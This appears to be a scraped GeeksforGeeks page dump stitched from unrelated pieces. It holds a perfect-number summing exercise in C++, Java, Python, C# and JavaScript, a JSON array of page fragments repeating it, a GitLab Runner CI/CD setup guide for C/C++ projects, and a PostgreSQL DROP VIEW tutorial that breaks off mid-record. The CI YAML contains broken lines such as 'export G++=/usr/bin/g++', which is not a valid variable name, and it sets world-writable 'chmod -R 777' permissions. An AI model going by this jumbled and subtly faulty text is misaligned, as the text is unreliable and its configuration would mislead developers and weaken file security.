// C++ implementation of the above approach#include <iostream>using namespace std; // Function to return the sum of// all the proper factors of nint sumOfFactors(int n){ int sum = 0; for (int f = 1; f <= n / 2; f++) { // f is the factor of n if (n % f == 0) { sum += f; } } return sum;} // Function to return the required sumint getSum(int arr[], int n){ // To store the sum int sum = 0; for (int i = 0; i < n; i++) { // If current element is non-zero and equal // to the sum of proper factors of itself if (arr[i] > 0 && arr[i] == sumOfFactors(arr[i])) { sum += arr[i]; } } return sum;} // Driver codeint main(){ int arr[10] = { 17, 6, 10, 6, 4 }; int n = sizeof(arr) / sizeof(arr[0]); cout << (getSum(arr, n)); return 0;}
// Java implementation of the above approachclass GFG { // Function to return the sum of // all the proper factors of n static int sumOfFactors(int n) { int sum = 0; for (int f = 1; f <= n / 2; f++) { // f is the factor of n if (n % f == 0) { sum += f; } } return sum; } // Function to return the required sum static int getSum(int[] arr, int n) { // To store the sum int sum = 0; for (int i = 0; i < n; i++) { // If current element is non-zero and equal // to the sum of proper factors of itself if (arr[i] > 0 && arr[i] == sumOfFactors(arr[i])) { sum += arr[i]; } } return sum; } // Driver code public static void main(String[] args) { int[] arr = { 17, 6, 10, 6, 4 }; int n = arr.length; System.out.print(getSum(arr, n)); }}
# Python3 implementation of the above approach # Function to return the sum of# all the proper factors of ndef sumOfFactors(n): sum = 0 for f in range(1, n // 2 + 1): # f is the factor of n if (n % f == 0): sum += f return sum # Function to return the required sumdef getSum(arr, n): # To store the sum sum = 0 for i in range(n): # If current element is non-zero and equal # to the sum of proper factors of itself if (arr[i] > 0 and arr[i] == sumOfFactors(arr[i])) : sum += arr[i] return sum # Driver codearr = [17, 6, 10, 6, 4] n = len(arr)print(getSum(arr, n)) # This code is contributed by Mohit Kumar
// C# implementation of the above approachusing System; class GFG{ // Function to return the sum of // all the proper factors of n static int sumOfFactors(int n) { int sum = 0; for (int f = 1; f <= n / 2; f++) { // f is the factor of n if (n % f == 0) { sum += f; } } return sum; } // Function to return the required sum static int getSum(int[] arr, int n) { // To store the sum int sum = 0; for (int i = 0; i < n; i++) { // If current element is non-zero and equal // to the sum of proper factors of itself if (arr[i] > 0 && arr[i] == sumOfFactors(arr[i])) { sum += arr[i]; } } return sum; } // Driver code static public void Main () { int[] arr = { 17, 6, 10, 6, 4 }; int n = arr.Length; Console.WriteLine(getSum(arr, n)); }} // This code is contributed by @ajit_0023
<script>// Java script implementation of the above approach // Function to return the sum of // all the proper factors of n function sumOfFactors( n) { let sum = 0; for (let f = 1; f <= n / 2; f++) { // f is the factor of n if (n % f == 0) { sum += f; } } return sum; } // Function to return the required sum function getSum( arr, n) { // To store the sum let sum = 0; for (let i = 0; i < n; i++) { // If current element is non-zero and equal // to the sum of proper factors of itself if (arr[i] > 0 && arr[i] == sumOfFactors(arr[i])) { sum += arr[i]; } } return sum; } // Driver code let arr = [ 17, 6, 10, 6, 4 ]; let n = arr.length; document.write(getSum(arr, n)); //contributed by bobby </script>
12
jit_t
mohit kumar 29
gottumukkalabobby
number-theory
Arrays
Mathematical
School Programming
Arrays
number-theory
Mathematical
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Program for Bridge and Torch problem
Window Sliding Technique
Binary Tree (Array implementation)
Segment Tree | Set 1 (Sum of given range)
MSD( Most Significant Digit ) Radix Sort
Program for Fibonacci numbers
C++ Data Types
Write a program to print all permutations of a given string
Set in C++ Standard Template Library (STL)
Modulo Operator (%) in C/C++ with Examples
|
[
{
"code": null,
"e": 26041,
"s": 26013,
"text": "\n26 Apr, 2021"
},
{
"code": null,
"e": 26298,
"s": 26041,
"text": "Given an array arr[] containing N positive integer. The task is to find the sum of all the perfect numbers from the array. A number is perfect if is equal to the sum of its proper divisors i.e. the sum of its positive divisors excluding the number itself. "
},
{
"code": null,
"e": 26308,
"s": 26298,
"text": "Examples:"
},
{
"code": null,
"e": 26491,
"s": 26308,
"text": "Input: arr[] = {3, 6, 9} Output: 6Proper divisor sum of 3 = 1 Proper divisor sum of 6 = 1 + 2 + 3 = 6 Proper divisor sum of 9 = 1 + 3 = 4Input: arr[] = {17, 6, 10, 6, 4} Output: 12 "
},
{
"code": null,
"e": 26711,
"s": 26491,
"text": "Approach: Initialize sum = 0 and for every element of the array, find the sum of its proper divisors say sumFactors. If arr[i] = sumFactors then update the resultant sum as sum = sum + arr[i]. Print the sum in the end. "
},
{
"code": null,
"e": 26763,
"s": 26711,
"text": "Below is the implementation of the above approach: "
},
{
"code": null,
"e": 26767,
"s": 26763,
"text": "C++"
},
{
"code": null,
"e": 26772,
"s": 26767,
"text": "Java"
},
{
"code": null,
"e": 26780,
"s": 26772,
"text": "Python3"
},
{
"code": null,
"e": 26783,
"s": 26780,
"text": "C#"
},
{
"code": null,
"e": 26794,
"s": 26783,
"text": "Javascript"
},
{
"code": "// C++ implementation of the above approach#include <iostream>using namespace std; // Function to return the sum of// all the proper factors of nint sumOfFactors(int n){ int sum = 0; for (int f = 1; f <= n / 2; f++) { // f is the factor of n if (n % f == 0) { sum += f; } } return sum;} // Function to return the required sumint getSum(int arr[], int n){ // To store the sum int sum = 0; for (int i = 0; i < n; i++) { // If current element is non-zero and equal // to the sum of proper factors of itself if (arr[i] > 0 && arr[i] == sumOfFactors(arr[i])) { sum += arr[i]; } } return sum;} // Driver codeint main(){ int arr[10] = { 17, 6, 10, 6, 4 }; int n = sizeof(arr) / sizeof(arr[0]); cout << (getSum(arr, n)); return 0;}",
"e": 27667,
"s": 26794,
"text": null
},
{
"code": "// Java implementation of the above approachclass GFG { // Function to return the sum of // all the proper factors of n static int sumOfFactors(int n) { int sum = 0; for (int f = 1; f <= n / 2; f++) { // f is the factor of n if (n % f == 0) { sum += f; } } return sum; } // Function to return the required sum static int getSum(int[] arr, int n) { // To store the sum int sum = 0; for (int i = 0; i < n; i++) { // If current element is non-zero and equal // to the sum of proper factors of itself if (arr[i] > 0 && arr[i] == sumOfFactors(arr[i])) { sum += arr[i]; } } return sum; } // Driver code public static void main(String[] args) { int[] arr = { 17, 6, 10, 6, 4 }; int n = arr.length; System.out.print(getSum(arr, n)); }}",
"e": 28631,
"s": 27667,
"text": null
},
{
"code": "# Python3 implementation of the above approach # Function to return the sum of# all the proper factors of ndef sumOfFactors(n): sum = 0 for f in range(1, n // 2 + 1): # f is the factor of n if (n % f == 0): sum += f return sum # Function to return the required sumdef getSum(arr, n): # To store the sum sum = 0 for i in range(n): # If current element is non-zero and equal # to the sum of proper factors of itself if (arr[i] > 0 and arr[i] == sumOfFactors(arr[i])) : sum += arr[i] return sum # Driver codearr = [17, 6, 10, 6, 4] n = len(arr)print(getSum(arr, n)) # This code is contributed by Mohit Kumar",
"e": 29347,
"s": 28631,
"text": null
},
{
"code": "// C# implementation of the above approachusing System; class GFG{ // Function to return the sum of // all the proper factors of n static int sumOfFactors(int n) { int sum = 0; for (int f = 1; f <= n / 2; f++) { // f is the factor of n if (n % f == 0) { sum += f; } } return sum; } // Function to return the required sum static int getSum(int[] arr, int n) { // To store the sum int sum = 0; for (int i = 0; i < n; i++) { // If current element is non-zero and equal // to the sum of proper factors of itself if (arr[i] > 0 && arr[i] == sumOfFactors(arr[i])) { sum += arr[i]; } } return sum; } // Driver code static public void Main () { int[] arr = { 17, 6, 10, 6, 4 }; int n = arr.Length; Console.WriteLine(getSum(arr, n)); }} // This code is contributed by @ajit_0023",
"e": 30393,
"s": 29347,
"text": null
},
{
"code": "<script>// Java script implementation of the above approach // Function to return the sum of // all the proper factors of n function sumOfFactors( n) { let sum = 0; for (let f = 1; f <= n / 2; f++) { // f is the factor of n if (n % f == 0) { sum += f; } } return sum; } // Function to return the required sum function getSum( arr, n) { // To store the sum let sum = 0; for (let i = 0; i < n; i++) { // If current element is non-zero and equal // to the sum of proper factors of itself if (arr[i] > 0 && arr[i] == sumOfFactors(arr[i])) { sum += arr[i]; } } return sum; } // Driver code let arr = [ 17, 6, 10, 6, 4 ]; let n = arr.length; document.write(getSum(arr, n)); //contributed by bobby </script>",
"e": 31328,
"s": 30393,
"text": null
},
{
"code": null,
"e": 31331,
"s": 31328,
"text": "12"
},
{
"code": null,
"e": 31339,
"s": 31333,
"text": "jit_t"
},
{
"code": null,
"e": 31354,
"s": 31339,
"text": "mohit kumar 29"
},
{
"code": null,
"e": 31372,
"s": 31354,
"text": "gottumukkalabobby"
},
{
"code": null,
"e": 31386,
"s": 31372,
"text": "number-theory"
},
{
"code": null,
"e": 31393,
"s": 31386,
"text": "Arrays"
},
{
"code": null,
"e": 31406,
"s": 31393,
"text": "Mathematical"
},
{
"code": null,
"e": 31425,
"s": 31406,
"text": "School Programming"
},
{
"code": null,
"e": 31432,
"s": 31425,
"text": "Arrays"
},
{
"code": null,
"e": 31446,
"s": 31432,
"text": "number-theory"
},
{
"code": null,
"e": 31459,
"s": 31446,
"text": "Mathematical"
},
{
"code": null,
"e": 31557,
"s": 31459,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 31594,
"s": 31557,
"text": "Program for Bridge and Torch problem"
},
{
"code": null,
"e": 31619,
"s": 31594,
"text": "Window Sliding Technique"
},
{
"code": null,
"e": 31654,
"s": 31619,
"text": "Binary Tree (Array implementation)"
},
{
"code": null,
"e": 31696,
"s": 31654,
"text": "Segment Tree | Set 1 (Sum of given range)"
},
{
"code": null,
"e": 31737,
"s": 31696,
"text": "MSD( Most Significant Digit ) Radix Sort"
},
{
"code": null,
"e": 31767,
"s": 31737,
"text": "Program for Fibonacci numbers"
},
{
"code": null,
"e": 31782,
"s": 31767,
"text": "C++ Data Types"
},
{
"code": null,
"e": 31842,
"s": 31782,
"text": "Write a program to print all permutations of a given string"
},
{
"code": null,
"e": 31885,
"s": 31842,
"text": "Set in C++ Standard Template Library (STL)"
}
] |
Implementation of CI/CD in C/C++ Application(Linux) Using Shell and Docker Executor on GitLab - GeeksforGeeks
|
01 Feb, 2021
There are many executors available to implement CI/CD with GitLab Runner. However, Shell and Docker are more popular among them, and we can easily configure a repository with these runners. These runners can be chosen based on the requirements and availability of the resources. This article mainly focuses on Shell and Docker executor of C/C++ Linux application and code is written in bash script. The application can build and test using a bash script.
Shell Executor: Shell Executor is a very simple executor that helps to build the solution locally on the machine, where GitLab Runner is installed. In this case, GitLab Runner is installed on Linux Machine, so need to install the required software in the same system.
Docker Executor: It is a powerful tool that includes much software and it can be accessed by image. The advantage of this executor is that, we do not need to install any software manually, everything will be taken care of through docker and the required image will be downloaded from the docker hub. However, the disadvantageous is that this communication is blocked in some organizations due to security purposes. So, If this is the case Shell Executor is the best alternative.
Requirements: These are the basic software which needs to install in Linux machine. However, it can be changed based on the compilation script and need to download other software if needed.
Software
Description
Path Configuration: After successful installation above, need to set the path of this installed software in the machine if it is not set. Run the below command on the machine.
Variable /File
Path
GitLab Runner Set Up: Follow the below steps to download and configure the GitLab Runner.
1. Download GitLab Runner on Linux Machine using the following command
sudo curl -L --output /usr/local/bin/gitlab-runner https://gitlab-runner-downloads.s3.amazonaws.com/latest/binaries/gitlab-runner-linux-amd64
2. Give it permissions for execution using the following command
sudo chmod +x /usr/local/bin/gitlab-runner
3. Create a GitLab CI using the following command
sudo useradd --comment 'GitLab Runner' --create-home gitlab-runner --shell /bin/bash
4. Install and run as service using the following command
sudo gitlab-runner install --user=gitlab-runner --working-directory=/home/gitlab-runner
5. Start GitLab Runner using the following command
sudo gitlab-runner start
6. Stop the GitLab Runner before registering the repository
sudo gitlab-runner stop
7. Once GitLab Runner is successfully stopped enter the following command in the terminal for repository registration.
sudo gitlab-runner register
8. When you do repository registration with GitLab Runner, the below questions have to answer.
Enter your GitLab instance URL: It can be different with each organization and the format will be like http://gitlab.example.com
Path: Go to GitLab Account → Select repository which you want to register with runner → Settings → CI/CD → Expand Runner
Enter the gitlab-ci token for this runner: It will be a unique token of each project which will need while registration and it can be found Path: Go to GitLab Account → Select repository which you want to register with runner → Settings → CI/CD → Expand Runner
Enter the gitlab-ci description for this runner: Put Runner name(any name), which will help you to remember that which runner’ is running
Enter the gitlab-ci tags for this runner: It is optional if you want to start GitLab runner when a specific tag is available in yml file.
Enter the executor: There will be a list of several executors, and type shell(as GitLab Runner will run our system)
9. After successful registration, start the GitLab Runner using the following command.
sudo gitlab-runner start
10. To verify that GitLab Runner has registered the respective repository and the runner has been started. Go to GitLab Account → Select repository which you want to register with runner → Settings → CI/CD → Expand Runner, There will be green color circle will be available and displaying message will be Runners activated for this project. Note: If the circle is gray, it means the runner has not started and starts again.
Follow some more GitLab Runner commands to familiarize yourself.
Command
Description
.gitlab-ci.yml_ shell Executor:
Below is the content of .gitlab-ci.yml on shell executor mode. However, change it if needed.
stages:
- build
- test
build_job:
stage: build
only:
- master
script:
- cd sourcecode
- export G++=/usr/bin/g++ //if not set manually path of g++
- export GCC=/usr/bin/gcc //if not set manually path of gcc
- chmod -R 777 *
- ./BuildPackage.sh
- pwd
artifacts:
expire_in: 365 days //save the binary which needed while test the application, and it can be downloaded from GitLab
paths:
- sourcecode/binaryfolder_name // save the binary
test_job:
stage: test
only:
- master
script:
- pwd
- cd testdir //go to test directory for run the test case script
- chmod -R 777 *
- ./tests.sh
dependencies:
- build_job
- build_job
Implementation of C/C++ on Docker Executor: There is no need to install any software manually, everything will be taken from the docker container. However, you can install the required software inputting the name in yml file and also can export the path. To run the gitlab runner on docker executor mode, Go to GitLab Runner Set-Up(above), and select docker instead of shell.
.gitlab-ci.yml_ Docker Executor:
Below is the content of .gitlab-ci.yml on docker executor mode. However, change it if needed.
image: ubuntu:latest
stages:
- build
- test
before_script:
- echo "Before script install this on ubuntu image "
- apt-get update && apt-get -y install cmake && apt-get -y install gcc && apt-get -y install g++
build_job:
stage: build
only:
- master
script:
- cd sourcecode
- export G++=/usr/bin/g++ //if not set manually path of g++
- export GCC=/usr/bin/gcc //if not set manually path of gcc
- chmod -R 777 *
- ./BuildPackage.sh
- pwd
artifacts:
expire_in: 365 days //save the binary which needed while test the application, and it can be downloaded from GitLab
paths:
- sourcecode/binaryfolder_name // save the binary
test_job:
stage: test
only:
- master
script:
- pwd
- cd testdir //go to test directory for run the test case script
- chmod -R 777 *
- ./tests.sh
dependencies:
- build_job
Advanced Computer Subject
C++
Git
Linux-Unix
CPP
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Copying Files to and from Docker Containers
Markov Decision Process
Fuzzy Logic | Introduction
Q-Learning in Python
Principal Component Analysis with Python
Vector in C++ STL
Arrays in C/C++
Initialize a vector in C++ (6 different ways)
Inheritance in C++
Map in C++ Standard Template Library (STL)
|
[
{
"code": null,
"e": 25493,
"s": 25465,
"text": "\n01 Feb, 2021"
},
{
"code": null,
"e": 25950,
"s": 25493,
"text": "There are many executors available to implement CI/CD with GitLab Runner. However, Shell and Docker are more popular among them, and we can easily configure a repository with these runners. These runners can be chosen based on the requirements and availability of the resources. This article mainly focuses on Shell and Docker executor of C/C++ Linux application and code is written in bash script. The application can build and test using a bash script. "
},
{
"code": null,
"e": 26218,
"s": 25950,
"text": "Shell Executor: Shell Executor is a very simple executor that helps to build the solution locally on the machine, where GitLab Runner is installed. In this case, GitLab Runner is installed on Linux Machine, so need to install the required software in the same system."
},
{
"code": null,
"e": 26698,
"s": 26218,
"text": "Docker Executor: It is a powerful tool that includes much software and it can be accessed by image. The advantage of this executor is that, we do not need to install any software manually, everything will be taken care of through docker and the required image will be downloaded from the docker hub. However, the disadvantageous is that this communication is blocked in some organizations due to security purposes. So, If this is the case Shell Executor is the best alternative. "
},
{
"code": null,
"e": 26888,
"s": 26698,
"text": "Requirements: These are the basic software which needs to install in Linux machine. However, it can be changed based on the compilation script and need to download other software if needed."
},
{
"code": null,
"e": 26899,
"s": 26888,
"text": "Software "
},
{
"code": null,
"e": 26913,
"s": 26899,
"text": "Description "
},
{
"code": null,
"e": 27089,
"s": 26913,
"text": "Path Configuration: After successful installation above, need to set the path of this installed software in the machine if it is not set. Run the below command on the machine."
},
{
"code": null,
"e": 27139,
"s": 27089,
"text": "Variable /File "
},
{
"code": null,
"e": 27145,
"s": 27139,
"text": "Path "
},
{
"code": null,
"e": 27235,
"s": 27145,
"text": "GitLab Runner Set Up: Follow the below steps to download and configure the GitLab Runner."
},
{
"code": null,
"e": 27306,
"s": 27235,
"text": "1. Download GitLab Runner on Linux Machine using the following command"
},
{
"code": null,
"e": 27448,
"s": 27306,
"text": "sudo curl -L --output /usr/local/bin/gitlab-runner https://gitlab-runner-downloads.s3.amazonaws.com/latest/binaries/gitlab-runner-linux-amd64"
},
{
"code": null,
"e": 27513,
"s": 27448,
"text": "2. Give it permissions for execution using the following command"
},
{
"code": null,
"e": 27556,
"s": 27513,
"text": "sudo chmod +x /usr/local/bin/gitlab-runner"
},
{
"code": null,
"e": 27606,
"s": 27556,
"text": "3. Create a GitLab CI using the following command"
},
{
"code": null,
"e": 27691,
"s": 27606,
"text": "sudo useradd --comment 'GitLab Runner' --create-home gitlab-runner --shell /bin/bash"
},
{
"code": null,
"e": 27749,
"s": 27691,
"text": "4. Install and run as service using the following command"
},
{
"code": null,
"e": 27837,
"s": 27749,
"text": "sudo gitlab-runner install --user=gitlab-runner --working-directory=/home/gitlab-runner"
},
{
"code": null,
"e": 27888,
"s": 27837,
"text": "5. Start GitLab Runner using the following command"
},
{
"code": null,
"e": 27913,
"s": 27888,
"text": "sudo gitlab-runner start"
},
{
"code": null,
"e": 27973,
"s": 27913,
"text": "6. Stop the GitLab Runner before registering the repository"
},
{
"code": null,
"e": 27997,
"s": 27973,
"text": "sudo gitlab-runner stop"
},
{
"code": null,
"e": 28116,
"s": 27997,
"text": "7. Once GitLab Runner is successfully stopped enter the following command in the terminal for repository registration."
},
{
"code": null,
"e": 28144,
"s": 28116,
"text": "sudo gitlab-runner register"
},
{
"code": null,
"e": 28239,
"s": 28144,
"text": "8. When you do repository registration with GitLab Runner, the below questions have to answer."
},
{
"code": null,
"e": 28368,
"s": 28239,
"text": "Enter your GitLab instance URL: It can be different with each organization and the format will be like http://gitlab.example.com"
},
{
"code": null,
"e": 28489,
"s": 28368,
"text": "Path: Go to GitLab Account → Select repository which you want to register with runner → Settings → CI/CD → Expand Runner"
},
{
"code": null,
"e": 28750,
"s": 28489,
"text": "Enter the gitlab-ci token for this runner: It will be a unique token of each project which will need while registration and it can be found Path: Go to GitLab Account → Select repository which you want to register with runner → Settings → CI/CD → Expand Runner"
},
{
"code": null,
"e": 28888,
"s": 28750,
"text": "Enter the gitlab-ci description for this runner: Put Runner name(any name), which will help you to remember that which runner’ is running"
},
{
"code": null,
"e": 29026,
"s": 28888,
"text": "Enter the gitlab-ci tags for this runner: It is optional if you want to start GitLab runner when a specific tag is available in yml file."
},
{
"code": null,
"e": 29142,
"s": 29026,
"text": "Enter the executor: There will be a list of several executors, and type shell(as GitLab Runner will run our system)"
},
{
"code": null,
"e": 29229,
"s": 29142,
"text": "9. After successful registration, start the GitLab Runner using the following command."
},
{
"code": null,
"e": 29254,
"s": 29229,
"text": "sudo gitlab-runner start"
},
{
"code": null,
"e": 29679,
"s": 29254,
"text": "10. To verify that GitLab Runner has registered the respective repository and the runner has been started. Go to GitLab Account → Select repository which you want to register with runner → Settings → CI/CD → Expand Runner, There will be green color circle will be available and displaying message will be Runners activated for this project. Note: If the circle is gray, it means the runner has not started and starts again."
},
{
"code": null,
"e": 29746,
"s": 29679,
"text": "Follow some more GitLab Runner commands to familiarize yourself. "
},
{
"code": null,
"e": 29754,
"s": 29746,
"text": "Command"
},
{
"code": null,
"e": 29767,
"s": 29754,
"text": "Description "
},
{
"code": null,
"e": 29799,
"s": 29767,
"text": ".gitlab-ci.yml_ shell Executor:"
},
{
"code": null,
"e": 29892,
"s": 29799,
"text": "Below is the content of .gitlab-ci.yml on shell executor mode. However, change it if needed."
},
{
"code": null,
"e": 30628,
"s": 29892,
"text": "stages:\n - build\n - test\n\nbuild_job:\n stage: build\n only:\n - master\n script: \n - cd sourcecode\n - export G++=/usr/bin/g++ //if not set manually path of g++\n - export GCC=/usr/bin/gcc //if not set manually path of gcc\n - chmod -R 777 *\n - ./BuildPackage.sh\n - pwd \n \n artifacts:\n expire_in: 365 days //save the binary which needed while test the application, and it can be downloaded from GitLab\n paths:\n - sourcecode/binaryfolder_name // save the binary \n \n \ntest_job:\n stage: test\n only:\n - master\n script:\n - pwd \n - cd testdir //go to test directory for run the test case script \n - chmod -R 777 *\n - ./tests.sh\n \n dependencies:\n - build_job\n - build_job"
},
{
"code": null,
"e": 31005,
"s": 30628,
"text": "Implementation of C/C++ on Docker Executor: There is no need to install any software manually, everything will be taken from the docker container. However, you can install the required software inputting the name in yml file and also can export the path. To run the gitlab runner on docker executor mode, Go to GitLab Runner Set-Up(above), and select docker instead of shell. "
},
{
"code": null,
"e": 31038,
"s": 31005,
"text": ".gitlab-ci.yml_ Docker Executor:"
},
{
"code": null,
"e": 31133,
"s": 31038,
"text": "Below is the content of .gitlab-ci.yml on docker executor mode. However, change it if needed. "
},
{
"code": null,
"e": 32049,
"s": 31133,
"text": "image: ubuntu:latest\n \nstages:\n - build\n - test\n \nbefore_script:\n - echo \"Before script install this on ubuntu image \"\n - apt-get update && apt-get -y install cmake && apt-get -y install gcc && apt-get -y install g++\n \n\nbuild_job:\n stage: build\n only:\n - master\n script: \n - cd sourcecode\n - export G++=/usr/bin/g++ //if not set manually path of g++\n - export GCC=/usr/bin/gcc //if not set manually path of gcc\n - chmod -R 777 *\n - ./BuildPackage.sh\n - pwd \n \n artifacts:\n expire_in: 365 days //save the binary which needed while test the application, and it can be downloaded from GitLab\n paths:\n - sourcecode/binaryfolder_name // save the binary \n \n \ntest_job:\n stage: test\n only:\n - master\n script:\n - pwd \n - cd testdir //go to test directory for run the test case script \n - chmod -R 777 *\n - ./tests.sh\n \n dependencies:\n - build_job"
},
{
"code": null,
"e": 32075,
"s": 32049,
"text": "Advanced Computer Subject"
},
{
"code": null,
"e": 32079,
"s": 32075,
"text": "C++"
},
{
"code": null,
"e": 32083,
"s": 32079,
"text": "Git"
},
{
"code": null,
"e": 32094,
"s": 32083,
"text": "Linux-Unix"
},
{
"code": null,
"e": 32098,
"s": 32094,
"text": "CPP"
},
{
"code": null,
"e": 32196,
"s": 32098,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 32240,
"s": 32196,
"text": "Copying Files to and from Docker Containers"
},
{
"code": null,
"e": 32264,
"s": 32240,
"text": "Markov Decision Process"
},
{
"code": null,
"e": 32291,
"s": 32264,
"text": "Fuzzy Logic | Introduction"
},
{
"code": null,
"e": 32312,
"s": 32291,
"text": "Q-Learning in Python"
},
{
"code": null,
"e": 32353,
"s": 32312,
"text": "Principal Component Analysis with Python"
},
{
"code": null,
"e": 32371,
"s": 32353,
"text": "Vector in C++ STL"
},
{
"code": null,
"e": 32387,
"s": 32371,
"text": "Arrays in C/C++"
},
{
"code": null,
"e": 32433,
"s": 32387,
"text": "Initialize a vector in C++ (6 different ways)"
},
{
"code": null,
"e": 32452,
"s": 32433,
"text": "Inheritance in C++"
}
] |
PostgreSQL - DROP VIEWS Statement - GeeksforGeeks
|
15 Mar, 2021
A view can be seen as a virtual table that can contain all rows of a table or selected rows from one or more tables. These allow us to see limited data only instead of complete information stored in a table. A view can be created from one or many Base Tables (the table from which view is created). We can perform various operations on views such as creating, updating and deleting views. Here, we’ll be focusing primarily on dropping or deleting views. Let us try to understand it with the help of an example as shown below :
To understand the DROP VIEW statement, we’ll take a sample table named “Students” as shown here:
Students table
As the name suggests, The DROP VIEW statement removes a view from the database. The basic DROP VIEW syntax is as follows −
Syntax:
DROP VIEW [IF EXISTS] view_name
[CASCADE | RESTRICT]
Now let us understand the meaning of the keywords used in the above syntax one by one:
DROP VIEW keywords are used to specify the name of the view that needs to be dropped.As the name suggests, IF EXISTS ensures that a drop is dropped only if it exists. If we attempt to drop a view that does not exist, then an error will be used.view_name is simply the name of the view that is to be dropped.RESTRICT does not allow the view to be deleted if any other objects are depending on it. It is the default option.CASCADE automatically drops objects that depend on view and all objects that depend on those objects.
DROP VIEW keywords are used to specify the name of the view that needs to be dropped.
As the name suggests, IF EXISTS ensures that a drop is dropped only if it exists. If we attempt to drop a view that does not exist, then an error will be used.
view_name is simply the name of the view that is to be dropped.
RESTRICT does not allow the view to be deleted if any other objects are depending on it. It is the default option.
CASCADE automatically drops objects that depend on view and all objects that depend on those objects.
Note: It is also possible to delete multiple views using the single DROP VIEW statement using the following syntax:
DROP VIEW [IF EXISTS] view_name1, view_name2, ...;
Now to understand the DROP VIEW statement, we need to first create a view that we can drop/delete later. Below is the statement that creates a view named “StudentsView” based on the information stored in the table “Students”.
CREATE OR REPLACE VIEW StudentsView
AS
SELECT
admit_id,
stu_name,
branch
FROM
Students
WHERE branch ='Science';
Output :
StudentsView
So we have successfully created a view that contains three columns (admit_id, stu_name, branch)from the original table. Let us create one more view named “myview” that is based on the StudentsView using the following statement:
CREATE OR REPLACE VIEW myview
AS
SELECT
admit_id,
stu_name
FROM
StudentsView
WHERE stu_name ='Sakshi';
Output :
myview
Since this view has been created from the first view named “StudentsView”, hence other objects depend on “StudentsView”. Now let us try to drop the view “StudentsView” using the DROP VIEW statement as shown here:
DROP VIEW StudentsView;
Output:
ERROR: cannot drop view studentsview because other objects depend on it
DETAIL: view myview depends on view studentsview
HINT: Use DROP ... CASCADE to drop the dependent objects too.
Since RESTRICT was the default option hence it will not allow the view to be deleted if any other objects are depending on it and hence an error has been raised here. However, if we try to drop the myview, it can be simply dropped.
DROP VIEW myview;
Output:
DROP VIEW
Query returned successfully in 73 msec.
So this how we can create and drop views in PostgreSQL. To check whether the view has been successfully dropped or not, simply run the SELECT * FROM view_name if it still exists or has been dropped. In this case, if we run the below Query:
SELECT * from myview
then an error will be raised showing that myview does not exist as we have already dropped “myview“.
Picked
postgreSQL-views
PostgreSQL
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
PostgreSQL - CREATE PROCEDURE
PostgreSQL - GROUP BY clause
PostgreSQL - DROP INDEX
PostgreSQL - TIME Data Type
PostgreSQL - REPLACE Function
PostgreSQL - CREATE SCHEMA
PostgreSQL - ROW_NUMBER Function
PostgreSQL - SELECT
PostgreSQL - Cursor
PostgreSQL - LEFT JOIN
|
[
{
"code": null,
"e": 25367,
"s": 25339,
"text": "\n15 Mar, 2021"
},
{
"code": null,
"e": 25895,
"s": 25367,
"text": "A view can be seen as a virtual table that can contain all rows of a table or selected rows from one or more tables. These allow us to see limited data only instead of complete information stored in a table. A view can be created from one or many Base Tables (the table from which view is created). We can perform various operations on views such as creating, updating and deleting views. Here, we’ll be focusing primarily on dropping or deleting views. Let us try to understand it with the help of an example as shown below : "
},
{
"code": null,
"e": 25992,
"s": 25895,
"text": "To understand the DROP VIEW statement, we’ll take a sample table named “Students” as shown here:"
},
{
"code": null,
"e": 26007,
"s": 25992,
"text": "Students table"
},
{
"code": null,
"e": 26130,
"s": 26007,
"text": "As the name suggests, The DROP VIEW statement removes a view from the database. The basic DROP VIEW syntax is as follows −"
},
{
"code": null,
"e": 26191,
"s": 26130,
"text": "Syntax:\nDROP VIEW [IF EXISTS] view_name\n[CASCADE | RESTRICT]"
},
{
"code": null,
"e": 26278,
"s": 26191,
"text": "Now let us understand the meaning of the keywords used in the above syntax one by one:"
},
{
"code": null,
"e": 26801,
"s": 26278,
"text": "DROP VIEW keywords are used to specify the name of the view that needs to be dropped.As the name suggests, IF EXISTS ensures that a drop is dropped only if it exists. If we attempt to drop a view that does not exist, then an error will be used.view_name is simply the name of the view that is to be dropped.RESTRICT does not allow the view to be deleted if any other objects are depending on it. It is the default option.CASCADE automatically drops objects that depend on view and all objects that depend on those objects."
},
{
"code": null,
"e": 26887,
"s": 26801,
"text": "DROP VIEW keywords are used to specify the name of the view that needs to be dropped."
},
{
"code": null,
"e": 27047,
"s": 26887,
"text": "As the name suggests, IF EXISTS ensures that a drop is dropped only if it exists. If we attempt to drop a view that does not exist, then an error will be used."
},
{
"code": null,
"e": 27111,
"s": 27047,
"text": "view_name is simply the name of the view that is to be dropped."
},
{
"code": null,
"e": 27226,
"s": 27111,
"text": "RESTRICT does not allow the view to be deleted if any other objects are depending on it. It is the default option."
},
{
"code": null,
"e": 27328,
"s": 27226,
"text": "CASCADE automatically drops objects that depend on view and all objects that depend on those objects."
},
{
"code": null,
"e": 27445,
"s": 27328,
"text": "Note: It is also possible to delete multiple views using the single DROP VIEW statement using the following syntax:"
},
{
"code": null,
"e": 27496,
"s": 27445,
"text": "DROP VIEW [IF EXISTS] view_name1, view_name2, ...;"
},
{
"code": null,
"e": 27722,
"s": 27496,
"text": "Now to understand the DROP VIEW statement, we need to first create a view that we can drop/delete later. Below is the statement that creates a view named “StudentsView” based on the information stored in the table “Students”."
},
{
"code": null,
"e": 27846,
"s": 27722,
"text": "CREATE OR REPLACE VIEW StudentsView\nAS \nSELECT \n admit_id,\n stu_name,\n branch \nFROM\nStudents\nWHERE branch ='Science';"
},
{
"code": null,
"e": 27857,
"s": 27846,
"text": "Output : "
},
{
"code": null,
"e": 27870,
"s": 27857,
"text": "StudentsView"
},
{
"code": null,
"e": 28098,
"s": 27870,
"text": "So we have successfully created a view that contains three columns (admit_id, stu_name, branch)from the original table. Let us create one more view named “myview” that is based on the StudentsView using the following statement:"
},
{
"code": null,
"e": 28213,
"s": 28098,
"text": "CREATE OR REPLACE VIEW myview \nAS \nSELECT \n admit_id,\n stu_name \nFROM \nStudentsView \nWHERE stu_name ='Sakshi';"
},
{
"code": null,
"e": 28223,
"s": 28213,
"text": "Output : "
},
{
"code": null,
"e": 28230,
"s": 28223,
"text": "myview"
},
{
"code": null,
"e": 28443,
